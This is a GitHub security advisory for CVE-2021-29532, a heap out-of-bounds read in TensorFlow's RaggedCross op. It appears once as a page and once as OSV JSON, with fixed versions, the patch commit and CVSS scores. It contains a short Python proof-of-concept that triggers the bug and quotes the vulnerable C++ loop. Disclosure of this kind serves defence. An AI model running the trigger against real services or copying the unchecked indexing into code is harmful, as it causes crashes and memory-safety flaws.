GHSA-J47F-4232-HVV8

Vulnerability from github – Published: 2021-05-21 14:22 – Updated: 2024-10-30 23:21
VLAI
Summary
Heap out of bounds read in `RaggedCross`
Details

Impact

An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.raw_ops.RaggedCross:

import tensorflow as tf

ragged_values = []
ragged_row_splits = [] 
sparse_indices = []
sparse_values = []
sparse_shape = []

dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]

input_order = "R"
hashed_output = False
num_buckets = 0
hash_key = 0 

tf.raw_ops.RaggedCross(ragged_values=ragged_values,
    ragged_row_splits=ragged_row_splits,
    sparse_indices=sparse_indices,
    sparse_values=sparse_values,
    sparse_shape=sparse_shape,
    dense_inputs=dense_inputs,
    input_order=input_order,
    hashed_output=hashed_output,
    num_buckets=num_buckets,
    hash_key=hash_key,
    out_values_type=tf.int64,
    out_row_splits_type=tf.int64)

This is because the implementation lacks validation for the user supplied arguments:

int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
  if (c == 'R') {
    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
        features));
    next_ragged++;
  } else if (c == 'S') {
    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
        batch_size, features));
    next_sparse++;
  } else if (c == 'D') {
    TF_RETURN_IF_ERROR(
        BuildDenseFeatureReader(dense_list[next_dense++], features));
  }
  ...
}

Each of the above branches call a helper function after accessing array elements via a *_list[next_*] pattern, followed by incrementing the next_* index. However, as there is no validation that the next_* values are in the valid range for the corresponding *_list arrays, this results in heap OOB reads.

Patches

We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity
2.5 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
2.0 (Low)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T22:54:15Z",
    "nvd_published_at": "2021-05-14T20:15:00Z",
    "severity": "LOW"
  },
  "details": "### Impact\nAn attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:\n\n```python\nimport tensorflow as tf\n\nragged_values = []\nragged_row_splits = [] \nsparse_indices = []\nsparse_values = []\nsparse_shape = []\n\ndense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)\ndense_inputs = [dense_inputs_elem]\n\ninput_order = \"R\"\nhashed_output = False\nnum_buckets = 0\nhash_key = 0 \n\ntf.raw_ops.RaggedCross(ragged_values=ragged_values,\n    ragged_row_splits=ragged_row_splits,\n    sparse_indices=sparse_indices,\n    sparse_values=sparse_values,\n    sparse_shape=sparse_shape,\n    dense_inputs=dense_inputs,\n    input_order=input_order,\n    hashed_output=hashed_output,\n    num_buckets=num_buckets,\n    hash_key=hash_key,\n    out_values_type=tf.int64,\n    out_row_splits_type=tf.int64)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments:\n\n```cc\nint next_ragged = 0;\nint next_sparse = 0;\nint next_dense = 0;\nfor (char c : input_order_) {\n  if (c == \u0027R\u0027) {\n    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(\n        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],\n        features));\n    next_ragged++;\n  } else if (c == \u0027S\u0027) {\n    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(\n        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],\n        batch_size, features));\n    next_sparse++;\n  } else if (c == \u0027D\u0027) {\n    TF_RETURN_IF_ERROR(\n        BuildDenseFeatureReader(dense_list[next_dense++], features));\n  }\n  ...\n}\n```\n\nEach of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads.\n\n### Patches\nWe have patched the issue in GitHub commit [44b7f486c0143f68b56c34e2d01e146ee445134a](https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.",
  "id": "GHSA-j47f-4232-hvv8",
  "modified": "2024-10-30T23:21:38Z",
  "published": "2021-05-21T14:22:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j47f-4232-hvv8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-460.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-658.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-169.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heap out of bounds read in `RaggedCross`"
}



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